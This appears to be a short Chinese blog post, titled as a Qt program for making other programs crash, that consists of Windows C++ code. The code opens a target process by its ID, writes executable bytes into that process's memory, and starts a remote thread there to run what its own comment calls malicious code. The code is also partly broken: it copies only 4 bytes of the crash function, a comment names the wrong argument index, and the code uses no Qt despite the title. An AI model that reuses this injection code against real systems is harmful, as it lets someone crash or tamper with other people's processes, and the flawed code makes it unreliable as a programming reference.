#include <Windows.h>
#include <iostream>
void crash() {
int* p = NULL;
*p = 0;
}
// argv[0]: 目标进程的ID
int main( int argc, char *argv[])
{
if(argc != 2)
return -1;
// 打开目标进程,获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
if (hProcess == NULL) {
return 1;
}
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(void*), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pRemoteMemory == NULL) {
CloseHandle(hProcess);
return 1;
}
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, pRemoteMemory, (&crash), 4, &bytesWritten)) {
std::cerr << "Error: Unable to write to the target process memory." << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// 在目标进程中创建远程线程来执行恶意代码
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL, 0, NULL);
if (hRemoteThread == NULL) {
std::cerr << "Error: Unable to create remote thread." << ::GetLastError();
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
WaitForSingleObject(hRemoteThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
return 0;
}
QT 实现一个让其他程序崩溃的程序
于 2023-12-30 07:12:57 首次发布